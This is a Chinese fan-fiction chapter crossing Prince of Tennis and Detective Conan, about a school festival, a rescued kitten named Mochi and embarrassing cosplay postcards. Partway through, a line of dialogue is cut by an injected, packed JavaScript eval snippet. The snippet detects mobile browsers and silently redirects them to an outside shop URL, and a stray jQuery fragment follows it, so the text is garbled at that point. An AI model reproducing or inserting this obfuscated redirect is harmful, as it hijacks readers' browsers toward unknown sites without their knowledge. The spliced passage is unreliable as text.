网球部还在准备节目,幸村一通电话叫走了赤也,至于夏木学姐送他到宽阔的道路便也挥手告辞了。
月见里心宿…他现在着急回教室卸妆换衣服。
小兰姐有事情耽搁了说是中午才来,现在还有一个小时,足够他变成一个正常的月见里心宿!
绕开人流密集的摊位地点,抄近路到达教学楼大概十五分钟的路程,刚刚好还在禁止外来人员走动的路段,应该不用担心遇到谁了。
摸了摸仍然有些发烫的耳垂,月见里心宿下定决心再也不会答应这样的事情了。
——太、太羞耻了!!
计划着赶紧换下装扮,月见里心宿加快步伐。却忽地,耳边穿进几声极细、极弱的猫叫,哼哼唧唧的。
猫……?
“撒娇也是不管用的哦、一次不能吃这么多猫粮。”
是熟悉的,跳开少年青涩的磁性声音……仁王雅治?
向前两步,仁王雅治的身影更清晰地展现在眼前,屈膝半跪着,正有一搭没一搭摸着嗷嗷吃粮的幼猫。幼猫不知节制,边吃边嗷嗷呜呜地、细弱地叫。
猫粮甚至是用羊奶精细泡过的。
许是听到了动静,仁王雅治偏头看过来,难得见到他讶异了一瞬,“月见里?”但很快,他挂上笑意,开怀地笑了起来。
“蛮合适你的。”
仁王雅治由衷地评价,得到后辈一个不想搭理他的眼神也不恼,真情实意地笑着。
“别笑话我了仁王前辈……我才知道我们学校还有猫,是流浪猫吗?”
“是哦,不过它是不小心跑进来的。先前不在学校里,是毛利前辈这几天刚发现的。”
蹲到仁王旁边,月见里心宿细细地打量着这只猫崽,“这个花色…居然是奶牛猫啊。”
“看起来好小啊…应该还没有三个月大?这么早就离开猫妈妈了吗…”
用指腹轻轻点了点猫脑壳,乱动的耳朵尖蹭过了心宿的指尖,毛茸茸的。只顾着吃,也不理人。
“仁王前辈要养吗?”
“很可惜我养不了,家人对猫毛过敏。况且,养育一个生命个体,这是一件很郑重的事情。”
“不能提供一个正确的环境。马马虎虎地养…就太不负责了。”
仁王雅治坦然地说完,他伸手,猫也顾不上吃了,热情地拿头蹭着拱着他的指节,一味撒娇。
嘿这小家伙,区别对待也太明显了。
“没有防备心的小家伙…这样可不行。”
仁王雅治唇边的笑意清浅,语气也轻轻,“这几天我会给他找找看合适的领养。”
许是被仁王雅治分明的责任感触动,月见里心宿垂下眼睫,看着幼猫的尾巴高高竖起,只尖端勾起,是为了仁王雅治而高兴的模样。
他认可仁王雅治的观念。
不自觉染上笑意,月见里心宿看向身旁的人,“仁王前辈。”
“给它取个名字吧,我来养它。”
“我可没逞强,也不是一时兴起啦。”
心宿张开手,视线向下看,他的掌心盖住了猫咪的整个身子,也盖住了它弱小的生命,“就像前辈说的,承担一个生命的重量,这是一件郑重的事情。”
“因为是人想养猫,所以就应该只有人需要对猫负责,给它喜欢的吃食、让它安稳踏实地睡每一觉,猫的话,只需要开心。”
“不过猫只要开心就是对人最大的回馈了。”
仁王雅治第一次真正地直视月见里心宿的眼睛,一双很亮的眼睛,不含杂念,不染余质,尝试在接住别人的烦恼。他忍不住笑起来。
“把重要的署名权交给我了啊……我想想看,もち?”
“欸、麻糍…?有什么原因吗?”
仁王雅治叹气,故作忧伤,“说来话长,第一次见它时,它偷尝了我的一块麻糍。麻糍的主人要慷慨地赔给我吗?”
“我觉得这个算不到我身上。所以恕我不赔了仁王前辈。”
“好无情啊心宿,当个善良的公主殿下嘛。”
还在思考怎么把猫弄出去的月见里心宿:“……”
又戳他痛点。
仁王雅治嬉笑着脱下外套,他分开双臂,麻糍听话地跳上去,任由衣服裹住,只露出了一个小小脑袋,最后细声细气地喵了声。
“先去找下副部长吧,他们风纪委员那儿捉猫需要,常备着猫箱猫包呢。”
“?风纪委员还要负责这个?”
“没办法、谁让立海大还是很受猫咪欢迎的。”
月见里心宿站定,看了眼自己的打扮,他无奈地闭了闭眼,“仁王前辈你先去吧,我换身衣服就来找你。”
“好哦、说起来公主殿下能不能和我来张合照。”
“…不可能。”
……
重新变回干净清爽的自己那一刻,月见里心宿几乎要喜极而泣。忽略掉同学们遗憾的眼神,月见里心宿装好足够好几个人潇洒海原祭的代币,和仁王会面。
“我的家人已经在门口了,她会直接带着麻糍去检查。”接过仁王手中的猫箱,心宿晃了晃手机,和仁王的私聊对话框里是他家的地址。
“随时欢迎前辈来看麻糍。”
“嗯…那要不要尝尝看我们班的麻糍?”仁王雅治变戏法般拎出袋子,贴心地补充道,“抹茶味的。”
脑中浮现出刚才路过的人挤人的麻糍摊位,正属于二年B班。月见里心宿的眼中映出他的身影,带着笑意。
“好体贴呐前辈。”
……
归香姨接走猫包前大概是想要道歉,没能来看一看他的第一次海原祭,但月见里心宿摇摇头,“没事呀,我还有朋友在呢。去忙吧。”直到车辆远去,遥遥寻不到,月见里心宿依然站在校门口。
他真的不会寂寞吗,其实还是会的。但是,也许比起陪伴他,大家都有更忙的事情。
家人爱他,他很清楚知道这件事。只是还是会偶尔落寞,看着空荡荡的身边落寞。
但是,留给他的时间已经是大人们挤出来的。
不过,幸好他还有朋友。
毛利兰和铃木园子出现地恰好,不偏不倚打断了心宿源源不断的愁思。
“小兰姐!圆子姐!!好久不见啦!”心宿跑过去,一人塞了厚厚一沓代币,不愿启齿代币来源,他斟酌下用语,“说来话长我就不说了…反正你们用这个就行。”
“好多…!都给我们真的没关系吗,自己也留一些吧?”
“是啊心宿、我们可以自己换一些用的。你小子可别一股脑全塞给我们了。”
总是面对他自动带入姐姐身份的两个人用各自的方式关心着他,月见里心宿轻轻弯起眉,“没事噢,因为我那还有很多。真的还有很多!”
“那就好。”毛利兰轻轻松口气,想起什么,她又不好意思地开口,“抱歉心宿…我不放心柯南一个人在家,所以把他也带来了。”
“…心宿哥哥好!”
从毛利兰身后探出来的江户川柯南挂着孩童天真的笑容,但月见里心宿持续的注视让他有些挂不住笑脸……不会发现吧他应该没有露出破绽啊。
“没关系,那柯南也好好玩吧。”
月见里心宿放缓语气,又对柯南露出笑容。
“要是新一哥也能来就好了,我好久没见过他了。”
闻言毛利兰的神色有些暗淡,圆子姐忙瞪他一眼,拍拍小兰姐的手,“提那家伙干什么,这么久了也没点消息,不知道地还以为去当哪国特务了。”
“对不起啦、立海大的海原祭办得很不错的!我也还没怎么逛一逛,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836055|211422||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一起去看看吧!”
江户川柯南没有说话,只是低着头也很可疑。月见里心宿想不通,一个高中生怎么会变成小孩子?但…柯南又绝不只是一个普通小孩,无论怎么看都和工藤新一有着千丝万缕的联系。
他不能坐视不理,毕竟如果是新一哥遭遇了什么危险呢?可是他好像也帮不上什么忙……
一行人从麻糍吃到章鱼烧,再到可乐饼和大阪烧,终于带着沉甸甸的胃来到了一年D组的角色扮演咖啡厅的五米开外。
乌压压的人群几乎挤满了教室外的走廊,不过大家还是很有礼貌地排了队。
“…你们班蛋糕咖啡这么好吃?”铃木园子比划了下水泄不通的人群,震撼地发出疑问。
“他们好像都是在看什么诶?”柯南丢下这句话,凭着个子矮的优势挤了进去,然后呆呆地被挤了出来。
“是什么呀柯南?”
对于毛利兰的遗憾,江户川柯南缓缓把目光转向了月见里心宿,带着不可置信。
月见里心宿突然有了不好的预感。
他拨开人群,正撞上一张海报,刻画着洛伊娜和终章骑士各自手持长剑,并肩作战。
但这玩意不是他上午和赤也刚拍的吗?!
教室里正在招待客人的藤原忽然感觉背后一凉,一转身果然是月见里心宿同学幽怨的目光。把客人推给小林再拉走心宿,怎么还跟着两个学姐跟就跟吧看起来认识。
终于,在只挂了一块布算作后勤的地方,藤原小心翼翼地给心宿递了杯水,“嗯…我可以解释的。”
“就是、那个佐藤学长拍完之后才想起来忘记加你和赤也了,刚好也找不到你们人,就来加了我。我一看这个底片这么美丽…充满故事感,就忍不住打印了一张做海报……”
“嗯…可能还多印了一点点明信片……但是这个,这个我没有发出去,我是想印完遇到你或者赤也直接给你们的!”
月见里心宿一言不发,只抱臂看着藤原,自知理亏的藤原低着头把包装好的几张明信片递过去。
无奈地按了按眉心,心宿丈量下厚度,大概十一张,“你好歹和我说一声啊藤原。”
“对不起嘛…我本来寻思着就宣传宣传咱们的角色扮演多出彩。”
被圆子暗示的眼神压迫,月见里心宿咬牙把明信片递了过去。
“那赤也那一份呢?我等下要去找他直接捎过去吧。”旁边是园子和兰小声的惊叹,柯南还蹦起来想偷看,被月见里心宿一把摁住。
他现在心情很不美丽,而他想不到的是还有一关等着他。
“……嗯,柳学长心宿你应该知道吧。刚刚,学生会例行检查,柳学长也在,我就想着他可以拿给赤也…就……”
“…那应该没事,柳前辈人端正不会乱看的。”
另一边,柳莲二确实没有偷看。
但是猜到应该是什么有意思的东西,他选择交给赤也,三两句话引诱了赤也直接在网球部打开看里面的东西,偏偏不知道为什么正撕着袋子很薄地破开了。
“哇……”幸村精市捡起散在地上的其中一张,十分欣赏,“这个构图很不错呐,要是光线再稍微亮一点就更好了。”
“这什么?欸欸,这不是赤也,那另一个……另一个是心宿!”丸井文太拽过胡狼桑原,直接面对面分享,胡狼桑原后退两步差点不敢相信。
“…这是赤也和心宿?”
柳生比吕士看了看照片,又看了看整个人红得要烧起来的赤也,“赤也现在这算改良版恶魔化吗。”
幸村笑了笑。
“应该算是新开发的害羞化吧。”
柳莲二很善良地帮助赤也捡起了所有明信片,也顺便把每一张都看了一遍,最后拍着赤也的肩膀真诚夸赞道。
“很帅,赤也。”